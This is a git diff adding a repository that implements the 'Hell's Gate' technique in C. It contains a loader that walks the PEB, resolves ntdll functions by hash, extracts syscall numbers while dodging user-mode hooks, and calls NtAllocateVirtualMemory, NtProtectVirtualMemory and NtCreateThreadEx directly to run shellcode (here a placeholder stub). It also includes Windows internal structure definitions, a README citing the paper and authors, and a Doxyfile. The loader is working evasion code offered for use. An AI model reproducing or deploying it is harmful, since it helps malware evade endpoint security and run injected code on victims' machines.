NtProtectVirtualMemory; + VX_TABLE_ENTRY NtCreateThreadEx; + VX_TABLE_ENTRY NtWaitForSingleObject; +} VX_TABLE, * PVX_TABLE; + +/*-------------------------------------------------------------------- + Function prototypes. +--------------------------------------------------------------------*/ +PTEB RtlGetThreadEnvironmentBlock(); +BOOL GetImageExportDirectory( + _In_ PVOID pModuleBase, + _Out_ PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory +); +BOOL GetVxTableEntry( + _In_ PVOID pModuleBase, + _In_ PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, + _In_ PVX_TABLE_ENTRY pVxTableEntry +); +BOOL Payload( + _In_ PVX_TABLE pVxTable +); +PVOID VxMoveMemory( + _Inout_ PVOID dest, + _In_ const PVOID src, + _In_ SIZE_T len +); + +/*-------------------------------------------------------------------- + External functions' prototype. +--------------------------------------------------------------------*/ +extern VOID HellsGate(WORD wSystemCall); +extern HellDescent(); + +INT wmain() { + PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock(); + PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock; + if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA) + return 0x1; + + // Get NTDLL module + PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10); + + // Get the EAT of NTDLL + PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL; + if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL) + return 0x01; + + VX_TABLE Table = { 0 }; + Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b; + if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory)) + return 0x1; + + Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f; + if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx)) + return 0x1; + + Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37; + if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory)) + return 0x1; + + Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb; + if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject)) + return 0x1; + + Payload(&Table); + return 0x00; +} + +PTEB RtlGetThreadEnvironmentBlock() { +#if _WIN64 + return (PTEB)__readgsqword(0x30); +#else + return (PTEB)__readfsdword(0x16); +#endif +} + +DWORD64 djb2(PBYTE str) { + DWORD64 dwHash = 0x7734773477347734; + INT c; + + while (c = *str++) + dwHash = ((dwHash << 0x5) + dwHash) + c; + + return dwHash; +} + +BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) { + // Get DOS header + PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase; + if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { + return FALSE; + } + + // Get NT headers + PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew); + if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) { + return FALSE; + } + + // Get the EAT + *ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress); + return TRUE; +} + +BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) { + PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions); + PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames); + PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals); + + for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) { + PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]); + PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]]; + + if (djb2(pczFunctionName) == pVxTableEntry->dwHash) { + pVxTableEntry->pAddress = pFunctionAddress; + + // Quick and dirty fix in case the function has been hooked + WORD cw = 0; + while (TRUE) { + // check if syscall, in this case we are too far + if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05) + return FALSE; + + // check if ret, in this case we are also probaly too far + if (*((PBYTE)pFunctionAddress + cw) == 0xc3) + return FALSE; + + // First opcodes should be : + // MOV R10, RCX + // MOV RCX, + if (*((PBYTE)pFunctionAddress + cw) == 0x4c + && *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b + && *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1 + && *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8 + && *((PBYTE)pFunctionAddress + 6 + cw) == 0x00 + && *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) { + BYTE high = *((PBYTE)pFunctionAddress + 5 + cw); + BYTE low = *((PBYTE)pFunctionAddress + 4 + cw); + pVxTableEntry->wSystemCall = (high << 8) | low; + break; + } + + cw++; + }; + } + } + + return TRUE; +} + +BOOL Payload(PVX_TABLE pVxTable) { + NTSTATUS status = 0x00000000; + char shellcode[] = "\x90\x90\x90\x90\xcc\xcc\xcc\xcc\xc3"; + + // Allocate memory for the shellcode + PVOID lpAddress = NULL; + SIZE_T sDataSize = sizeof(shellcode); + HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall); + status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE); + + // Write Memory + VxMoveMemory(lpAddress, shellcode, sizeof(shellcode)); + + // Change page permissions + ULONG ulOldProtect = 0; + HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall); + status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect); + + // Create thread + HANDLE hHostThread = INVALID_HANDLE_VALUE; + HellsGate(pVxTable->NtCreateThreadEx.wSystemCall); + status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL); + + // Wait for 1 seconds + LARGE_INTEGER Timeout; + Timeout.QuadPart = -10000000; + HellsGate(pVxTable->NtWaitForSingleObject.wSystemCall); + status = HellDescent(hHostThread, FALSE, &Timeout); + + return TRUE; +} + +PVOID VxMoveMemory(PVOID dest, const PVOID src, SIZE_T len) { + char* d = dest; + const char* s = src; + if (d < s) + while (len--) + *d++ = *s++; + else { + char* lasts = s + (len - 1); + char* lastd = d + (len - 1); + while (len--) + *lastd-- = *lasts--; + } + return dest; +} \ No newline at end of file diff --git a/Hells Gate/C Implementation/HellsGate/structs.h b/Hells Gate/C Implementation/HellsGate/structs.h new file mode 100644 index 0000000..7ed8387 --- /dev/null +++ b/Hells Gate/C Implementation/HellsGate/structs.h @@ -0,0 +1,337 @@ +#pragma once +#include + +/*-------------------------------------------------------------------- + STRUCTURES +--------------------------------------------------------------------*/ +typedef struct _LSA_UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR; + +typedef struct _LDR_MODULE { + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID BaseAddress; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_MODULE, * PLDR_MODULE; + +typedef struct _PEB_LDR_DATA { + ULONG Length; + ULONG Initialized; + PVOID SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +typedef struct _PEB { + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + BOOLEAN Spare; + HANDLE Mutant; + PVOID ImageBase; + PPEB_LDR_DATA LoaderData; + PVOID ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PVOID FastPebLock; + PVOID FastPebLockRoutine; + PVOID FastPebUnlockRoutine; + ULONG EnvironmentUpdateCount; + PVOID* KernelCallbackTable; + PVOID EventLogSection; + PVOID EventLog; + PVOID FreeList; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[0x2]; + PVOID ReadOnlySharedMemoryBase; + PVOID ReadOnlySharedMemoryHeap; + PVOID* ReadOnlyStaticServerData; + PVOID AnsiCodePageData; + PVOID OemCodePageData; + PVOID UnicodeCaseTableData; + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + BYTE Spare2[0x4]; + LARGE_INTEGER CriticalSectionTimeout; + ULONG HeapSegmentReserve; + ULONG HeapSegmentCommit; + ULONG HeapDeCommitTotalFreeThreshold; + ULONG HeapDeCommitFreeBlockThreshold; + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PVOID** ProcessHeaps; + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + PVOID GdiDCAttributeList; + PVOID LoaderLock; + ULONG OSMajorVersion; + ULONG OSMinorVersion; + ULONG OSBuildNumber; + ULONG OSPlatformId; + ULONG ImageSubSystem; + ULONG ImageSubSystemMajorVersion; + ULONG ImageSubSystemMinorVersion; + ULONG GdiHandleBuffer[0x22]; + ULONG PostProcessInitRoutine; + ULONG TlsExpansionBitmap; + BYTE TlsExpansionBitmapBits[0x80]; + ULONG SessionId; +} PEB, * PPEB; + +typedef struct __CLIENT_ID { + HANDLE UniqueProcess; + HANDLE UniqueThread; +} CLIENT_ID, * PCLIENT_ID; + +typedef struct _TEB_ACTIVE_FRAME_CONTEXT { + ULONG Flags; + PCHAR FrameName; +} TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT; + +typedef struct _TEB_ACTIVE_FRAME { + ULONG Flags; + struct _TEB_ACTIVE_FRAME* Previous; + PTEB_ACTIVE_FRAME_CONTEXT Context; +} TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME; + +typedef struct _GDI_TEB_BATCH { + ULONG Offset; + ULONG HDC; + ULONG Buffer[310]; +} GDI_TEB_BATCH, * PGDI_TEB_BATCH; + +typedef PVOID PACTIVATION_CONTEXT; + +typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME { + struct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous; + PACTIVATION_CONTEXT ActivationContext; + ULONG Flags; +} RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME; + +typedef struct _ACTIVATION_CONTEXT_STACK { + PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame; + LIST_ENTRY FrameListCache; + ULONG Flags; + ULONG NextCookieSequenceNumber; + ULONG StackId; +} ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK; + +typedef struct _TEB { + NT_TIB NtTib; + PVOID EnvironmentPointer; + CLIENT_ID ClientId; + PVOID ActiveRpcHandle; + PVOID ThreadLocalStoragePointer; + PPEB ProcessEnvironmentBlock; + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + PVOID CsrClientThread; + PVOID Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + PVOID WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + PVOID SystemReserved1[54]; + LONG ExceptionCode; +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + PACTIVATION_CONTEXT_STACK* ActivationContextStackPointer; + UCHAR SpareBytes1[0x30 - 3 * sizeof(PVOID)]; + ULONG TxFsContext; +#elif (NTDDI_VERSION >= NTDDI_WS03) + PACTIVATION_CONTEXT_STACK ActivationContextStackPointer; + UCHAR SpareBytes1[0x34 - 3 * sizeof(PVOID)]; +#else + ACTIVATION_CONTEXT_STACK ActivationContextStack; + UCHAR SpareBytes1[24]; +#endif + GDI_TEB_BATCH GdiTebBatch; + CLIENT_ID RealClientId; + PVOID GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + PVOID GdiThreadLocalInfo; + PSIZE_T Win32ClientInfo[62]; + PVOID glDispatchTable[233]; + PSIZE_T glReserved1[29]; + PVOID glReserved2; + PVOID glSectionInfo; + PVOID glSection; + PVOID glTable; + PVOID glCurrentRC; + PVOID glContext; + NTSTATUS LastStatusValue; + UNICODE_STRING StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + PVOID DeallocationStack; + PVOID TlsSlots[64]; + LIST_ENTRY TlsLinks; + PVOID Vdm; + PVOID ReservedForNtRpc; + PVOID DbgSsReserved[2]; +#if (NTDDI_VERSION >= NTDDI_WS03) + ULONG HardErrorMode; +#else + ULONG HardErrorsAreDisabled; +#endif +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + PVOID Instrumentation[13 - sizeof(GUID) / sizeof(PVOID)]; + GUID ActivityId; + PVOID SubProcessTag; + PVOID EtwLocalData; + PVOID EtwTraceData; +#elif (NTDDI_VERSION >= NTDDI_WS03) + PVOID Instrumentation[14]; + PVOID SubProcessTag; + PVOID EtwLocalData; +#else + PVOID Instrumentation[16]; +#endif + PVOID WinSockData; + ULONG GdiBatchCount; +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + BOOLEAN SpareBool0; + BOOLEAN SpareBool1; + BOOLEAN SpareBool2; +#else + BOOLEAN InDbgPrint; + BOOLEAN FreeStackOnTermination; + BOOLEAN HasFiberData; +#endif + UCHAR IdealProcessor; +#if (NTDDI_VERSION >= NTDDI_WS03) + ULONG GuaranteedStackBytes; +#else + ULONG Spare3; +#endif + PVOID ReservedForPerf; + PVOID ReservedForOle; + ULONG WaitingOnLoaderLock; +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + PVOID SavedPriorityState; + ULONG_PTR SoftPatchPtr1; + ULONG_PTR ThreadPoolData; +#elif (NTDDI_VERSION >= NTDDI_WS03) + ULONG_PTR SparePointer1; + ULONG_PTR SoftPatchPtr1; + ULONG_PTR SoftPatchPtr2; +#else + Wx86ThreadState Wx86Thread; +#endif + PVOID* TlsExpansionSlots; +#if defined(_WIN64) && !defined(EXPLICIT_32BIT) + PVOID DeallocationBStore; + PVOID BStoreLimit; +#endif + ULONG ImpersonationLocale; + ULONG IsImpersonating; + PVOID NlsCache; + PVOID pShimData; + ULONG HeapVirtualAffinity; + HANDLE CurrentTransactionHandle; + PTEB_ACTIVE_FRAME ActiveFrame; +#if (NTDDI_VERSION >= NTDDI_WS03) + PVOID FlsData; +#endif +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + PVOID PreferredLangauges; + PVOID UserPrefLanguages; + PVOID MergedPrefLanguages; + ULONG MuiImpersonation; + union + { + struct + { + USHORT SpareCrossTebFlags : 16; + }; + USHORT CrossTebFlags; + }; + union + { + struct + { + USHORT DbgSafeThunkCall : 1; + USHORT DbgInDebugPrint : 1; + USHORT DbgHasFiberData : 1; + USHORT DbgSkipThreadAttach : 1; + USHORT DbgWerInShipAssertCode : 1; + USHORT DbgIssuedInitialBp : 1; + USHORT DbgClonedThread : 1; + USHORT SpareSameTebBits : 9; + }; + USHORT SameTebFlags; + }; + PVOID TxnScopeEntercallback; + PVOID TxnScopeExitCAllback; + PVOID TxnScopeContext; + ULONG LockCount; + ULONG ProcessRundown; + ULONG64 LastSwitchTime; + ULONG64 TotalSwitchOutTime; + LARGE_INTEGER WaitReasonBitMap; +#else + BOOLEAN SafeThunkCall; + BOOLEAN BooleanSpare[3]; +#endif +} TEB, * PTEB; + +typedef struct _LDR_DATA_TABLE_ENTRY { + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + WORD LoadCount; + WORD TlsIndex; + union { + LIST_ENTRY HashLinks; + struct { + PVOID SectionPointer; + ULONG CheckSum; + }; + }; + union { + ULONG TimeDateStamp; + PVOID LoadedImports; + }; + PACTIVATION_CONTEXT EntryPointActivationContext; + PVOID PatchInformation; + LIST_ENTRY ForwarderLinks; + LIST_ENTRY ServiceTagLinks; + LIST_ENTRY StaticLinks; +} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; + +typedef struct _OBJECT_ATTRIBUTES { + ULONG Length; + PVOID RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; + +typedef struct _INITIAL_TEB { + PVOID StackBase; + PVOID StackLimit; + PVOID StackCommit; + PVOID StackCommitMax; + PVOID StackReserved; +} INITIAL_TEB, * PINITIAL_TEB; \ No newline at end of file diff --git a/Hells Gate/C Implementation/README.md b/Hells Gate/C Implementation/README.md new file mode 100644 index 0000000..a602aeb --- /dev/null +++ b/Hells Gate/C Implementation/README.md @@ -0,0 +1,21 @@ +## Hell's Gate ## + +Original C Implementation of the Hell's Gate VX Technique +
+
+Link to the paper: https://vxug.fakedoma.in/papers/hells-gate.pdf +
PDF also included in this repository. +
+
+Authors: +* Paul Laîné (@am0nsec) +* smelly__vx (@RtlMateusz) +
+ +### Update ### +Please note: +* We are not claiming that this is ground-breaking as many people have been using this kind of technique for many years; +* We are not claiming that this is the perfect and most optimised way to archive the objective. This is just one example on how to implementation the technique; +* Judging the idea/technique/project/research solely on the name is petty to say the least and definitively childish; and +* Any recommendation and/or ideas will always be welcome, just open an issue in this repository. + diff --git a/Hells Gate/C# Implementation/Doxyfile b/Hells Gate/C# Implementation/Doxyfile new file mode 100644 index 0000000..c3cbfb1 --- /dev/null +++ b/Hells Gate/C# Implementation/Doxyfile @@ -0,0 +1,385 @@ +# Doxyfile 1.8.18 + +#--------------------------------------------------------------------------- +# Project related configuration options +#--------------------------------------------------------------------------- +DOXYFILE_ENCODING = UTF-8 +PROJECT_NAME = "Shap Hell's Gate" +PROJECT_NUMBER = 1.0 +PROJECT_BRIEF = "C# Implementation of the Hell's Gate VX Technique" +PROJECT_LOGO = +OUTPUT_DIRECTORY = ./doc/ +CREATE_SUBDIRS = YES +ALLOW_UNICODE_NAMES = NO +OUTPUT_LANGUAGE = English +OUTPUT_TEXT_DIRECTION = None +BRIEF_MEMBER_DESC = YES +REPEAT_BRIEF = YES +ABBREVIATE_BRIEF = "The $name class" \ + "The $name widget" \ + "The $name file" \ + is \ + provides \ + specifies \ + contains \ + represents \ + a \ + an \ + the +ALWAYS_DETAILED_SEC = NO +INLINE_INHERITED_MEMB = NO +FULL_PATH_NAMES = YES +STRIP_FROM_PATH = +STRIP_FROM_INC_PATH = +SHORT_NAMES = NO +JAVADOC_AUTOBRIEF = NO +JAVADOC_BANNER = NO +QT_AUTOBRIEF = NO +MULTILINE_CPP_IS_BRIEF = NO +INHERIT_DOCS = YES +SEPARATE_MEMBER_PAGES = NO +TAB_SIZE = 4 +ALIASES = +OPTIMIZE_OUTPUT_FOR_C = NO +OPTIMIZE_OUTPUT_JAVA = NO +OPTIMIZE_FOR_FORTRAN = NO +OPTIMIZE_OUTPUT_VHDL = NO +OPTIMIZE_OUTPUT_SLICE = NO +EXTENSION_MAPPING = +MARKDOWN_SUPPORT = YES +TOC_INCLUDE_HEADINGS = 5 +AUTOLINK_SUPPORT = YES +BUILTIN_STL_SUPPORT = NO +CPP_CLI_SUPPORT = NO +SIP_SUPPORT = NO +IDL_PROPERTY_SUPPORT = YES +DISTRIBUTE_GROUP_DOC = NO +GROUP_NESTED_COMPOUNDS = NO +SUBGROUPING = YES +INLINE_GROUPED_CLASSES = NO +INLINE_SIMPLE_STRUCTS = NO +TYPEDEF_HIDES_STRUCT = NO +LOOKUP_CACHE_SIZE = 0 +#--------------------------------------------------------------------------- +# Build related configuration options +#--------------------------------------------------------------------------- +EXTRACT_ALL = YES +EXTRACT_PRIVATE = YES +EXTRACT_PRIV_VIRTUAL = YES +EXTRACT_PACKAGE = YES +EXTRACT_STATIC = YES +EXTRACT_LOCAL_CLASSES = YES +EXTRACT_LOCAL_METHODS = NO +EXTRACT_ANON_NSPACES = YES +HIDE_UNDOC_MEMBERS = NO +HIDE_UNDOC_CLASSES = NO +HIDE_FRIEND_COMPOUNDS = NO +HIDE_IN_BODY_DOCS = NO +INTERNAL_DOCS = NO +CASE_SENSE_NAMES = YES +HIDE_SCOPE_NAMES = NO +HIDE_COMPOUND_REFERENCE= NO +SHOW_INCLUDE_FILES = YES +SHOW_GROUPED_MEMB_INC = NO +FORCE_LOCAL_INCLUDES = NO +INLINE_INFO = YES +SORT_MEMBER_DOCS = YES +SORT_BRIEF_DOCS = NO +SORT_MEMBERS_CTORS_1ST = NO +SORT_GROUP_NAMES = NO +SORT_BY_SCOPE_NAME = NO +STRICT_PROTO_MATCHING = NO +GENERATE_TODOLIST = YES +GENERATE_TESTLIST = YES +GENERATE_BUGLIST = YES +GENERATE_DEPRECATEDLIST= YES +ENABLED_SECTIONS = +MAX_INITIALIZER_LINES = 30 +SHOW_USED_FILES = YES +SHOW_FILES = YES +SHOW_NAMESPACES = YES +FILE_VERSION_FILTER = +LAYOUT_FILE = +CITE_BIB_FILES = +#--------------------------------------------------------------------------- +# Configuration options related to warning and progress messages +#--------------------------------------------------------------------------- +QUIET = NO +WARNINGS = YES +WARN_IF_UNDOCUMENTED = YES +WARN_IF_DOC_ERROR = YES +WARN_NO_PARAMDOC = NO +WARN_AS_ERROR = NO +WARN_FORMAT = "$file:$line: $text" +WARN_LOGFILE = +#--------------------------------------------------------------------------- +# Configuration options related to the input files +#--------------------------------------------------------------------------- +INPUT = . +INPUT_ENCODING = UTF-8 +FILE_PATTERNS = *.c \ + *.cc \ + *.cxx \ + *.cpp \ + *.c++ \ + *.java \ + *.ii \ + *.ixx \ + *.ipp \ + *.i++ \ + *.inl \ + *.idl \ + *.ddl \ + *.odl \ + *.h \ + *.hh \ + *.hxx \ + *.hpp \ + *.h++ \ + *.cs \ + *.d \ + *.php \ + *.php4 \ + *.php5 \ + *.phtml \ + *.inc \ + *.m \ + *.markdown \ + *.md \ + *.mm \ + *.dox \ + *.doc \ + *.txt \ + *.py \ + *.pyw \ + *.f90 \ + *.f95 \ + *.f03 \ + *.f08 \ + *.f18 \ + *.f \ + *.for \ + *.vhd \ + *.vhdl \ + *.ucf \ + *.qsf \ + *.ice +RECURSIVE = YES +EXCLUDE = +EXCLUDE_SYMLINKS = NO +EXCLUDE_PATTERNS = +EXCLUDE_SYMBOLS = +EXAMPLE_PATH = +EXAMPLE_PATTERNS = * +EXAMPLE_RECURSIVE = NO +IMAGE_PATH = +INPUT_FILTER = +FILTER_PATTERNS = +FILTER_SOURCE_FILES = NO +FILTER_SOURCE_PATTERNS = +USE_MDFILE_AS_MAINPAGE = +#--------------------------------------------------------------------------- +# Configuration options related to source browsing +#--------------------------------------------------------------------------- +SOURCE_BROWSER = YES +INLINE_SOURCES = YES +STRIP_CODE_COMMENTS = YES +REFERENCED_BY_RELATION = YES +REFERENCES_RELATION = NO +REFERENCES_LINK_SOURCE = YES +SOURCE_TOOLTIPS = YES +USE_HTAGS = NO +VERBATIM_HEADERS = YES +CLANG_ASSISTED_PARSING = NO +CLANG_OPTIONS = +CLANG_DATABASE_PATH = +#--------------------------------------------------------------------------- +# Configuration options related to the alphabetical class index +#--------------------------------------------------------------------------- +ALPHABETICAL_INDEX = YES +COLS_IN_ALPHA_INDEX = 5 +IGNORE_PREFIX = +#--------------------------------------------------------------------------- +# Configuration options related to the HTML output +#--------------------------------------------------------------------------- +GENERATE_HTML = YES +HTML_OUTPUT = html +HTML_FILE_EXTENSION = .html +HTML_HEADER = +HTML_FOOTER = +HTML_STYLESHEET = +HTML_EXTRA_STYLESHEET = +HTML_EXTRA_FILES = +HTML_COLORSTYLE_HUE = 220 +HTML_COLORSTYLE_SAT = 100 +HTML_COLORSTYLE_GAMMA = 80 +HTML_TIMESTAMP = YES +HTML_DYNAMIC_MENUS = YES +HTML_DYNAMIC_SECTIONS = NO +HTML_INDEX_NUM_ENTRIES = 100 +GENERATE_DOCSET = NO +DOCSET_FEEDNAME = "Doxygen generated docs" +DOCSET_BUNDLE_ID = org.doxygen.Project +DOCSET_PUBLISHER_ID = org.doxygen.Publisher +DOCSET_PUBLISHER_NAME = Publisher +GENERATE_HTMLHELP = NO +CHM_FILE = +HHC_LOCATION = +GENERATE_CHI = NO +CHM_INDEX_ENCODING = +BINARY_TOC = NO +TOC_EXPAND = NO +GENERATE_QHP = NO +QCH_FILE = +QHP_NAMESPACE = org.doxygen.Project +QHP_VIRTUAL_FOLDER = doc +QHP_CUST_FILTER_NAME = +QHP_CUST_FILTER_ATTRS = +QHP_SECT_FILTER_ATTRS = +QHG_LOCATION = +GENERATE_ECLIPSEHELP = NO +ECLIPSE_DOC_ID = org.doxygen.Project +DISABLE_INDEX = NO +GENERATE_TREEVIEW = YES +ENUM_VALUES_PER_LINE = 4 +TREEVIEW_WIDTH = 250 +EXT_LINKS_IN_WINDOW = NO +HTML_FORMULA_FORMAT = png +FORMULA_FONTSIZE = 10 +FORMULA_TRANSPARENT = YES +FORMULA_MACROFILE = +USE_MATHJAX = NO +MATHJAX_FORMAT = HTML-CSS +MATHJAX_RELPATH = https://cdn.jsdelivr.net/npm/mathjax@2 +MATHJAX_EXTENSIONS = +MATHJAX_CODEFILE = +SEARCHENGINE = YES +SERVER_BASED_SEARCH = NO +EXTERNAL_SEARCH = NO +SEARCHENGINE_URL = +SEARCHDATA_FILE = searchdata.xml +EXTERNAL_SEARCH_ID = +EXTRA_SEARCH_MAPPINGS = +#--------------------------------------------------------------------------- +# Configuration options related to the LaTeX output +#--------------------------------------------------------------------------- +GENERATE_LATEX = NO +LATEX_OUTPUT = latex +LATEX_CMD_NAME = +MAKEINDEX_CMD_NAME = makeindex +LATEX_MAKEINDEX_CMD = makeindex +COMPACT_LATEX = NO +PAPER_TYPE = a4 +EXTRA_PACKAGES = +LATEX_HEADER = +LATEX_FOOTER = +LATEX_EXTRA_STYLESHEET = +LATEX_EXTRA_FILES = +PDF_HYPERLINKS = YES +USE_PDFLATEX = YES +LATEX_BATCHMODE = NO +LATEX_HIDE_INDICES = NO +LATEX_SOURCE_CODE = NO +LATEX_BIB_STYLE = plain +LATEX_TIMESTAMP = NO +LATEX_EMOJI_DIRECTORY = +#--------------------------------------------------------------------------- +# Configuration options related to the RTF output +#--------------------------------------------------------------------------- +GENERATE_RTF = NO +RTF_OUTPUT = rtf +COMPACT_RTF = NO +RTF_HYPERLINKS = NO +RTF_STYLESHEET_FILE = +RTF_EXTENSIONS_FILE = +RTF_SOURCE_CODE = NO +#--------------------------------------------------------------------------- +# Configuration options related to the man page output +#--------------------------------------------------------------------------- +GENERATE_MAN = NO +MAN_OUTPUT = man +MAN_EXTENSION = .3 +MAN_SUBDIR = +MAN_LINKS = NO +#--------------------------------------------------------------------------- +# Configuration options related to the XML output +#--------------------------------------------------------------------------- +GENERATE_XML = NO +XML_OUTPUT = xml +XML_PROGRAMLISTING = YES +XML_NS_MEMB_FILE_SCOPE = NO +#--------------------------------------------------------------------------- +# Configuration options related to the DOCBOOK output +#--------------------------------------------------------------------------- +GENERATE_DOCBOOK = NO +DOCBOOK_OUTPUT = docbook +DOCBOOK_PROGRAMLISTING = NO +#--------------------------------------------------------------------------- +# Configuration options for the AutoGen Definitions output +#--------------------------------------------------------------------------- +GENERATE_AUTOGEN_DEF = NO +#--------------------------------------------------------------------------- +# Configuration options related to the Perl module output +#--------------------------------------------------------------------------- +GENERATE_PERLMOD = NO +PERLMOD_LATEX = NO +PERLMOD_PRETTY = YES +PERLMOD_MAKEVAR_PREFIX = +#--------------------------------------------------------------------------- +# Configuration options related to the preprocessor +#--------------------------------------------------------------------------- +ENABLE_PREPROCESSING = YES +MACRO_EXPANSION = NO +EXPAND_ONLY_PREDEF = NO +SEARCH_INCLUDES = YES +INCLUDE_PATH = +INCLUDE_FILE_PATTERNS = +PREDEFINED = +EXPAND_AS_DEFINED = +SKIP_FUNCTION_MACROS = YES +#--------------------------------------------------------------------------- +# Configuration options related to external references +#--------------------------------------------------------------------------- +TAGFILES = +GENERATE_TAGFILE = +ALLEXTERNALS = NO +EXTERNAL_GROUPS = YES +EXTERNAL_PAGES = YES +#--------------------------------------------------------------------------- +# Configuration options related to the dot tool +#--------------------------------------------------------------------------- +CLASS_DIAGRAMS = YES +DIA_PATH = +HIDE_UNDOC_RELATIONS = YES +HAVE_DOT = NO +DOT_NUM_THREADS = 1 +DOT_FONTNAME = Helvetica +DOT_FONTSIZE = 10 +DOT_FONTPATH = +CLASS_GRAPH = YES +COLLABORATION_GRAPH = YES +GROUP_GRAPHS = YES +UML_LOOK = NO +UML_LIMIT_NUM_FIELDS = 10 +TEMPLATE_RELATIONS = NO 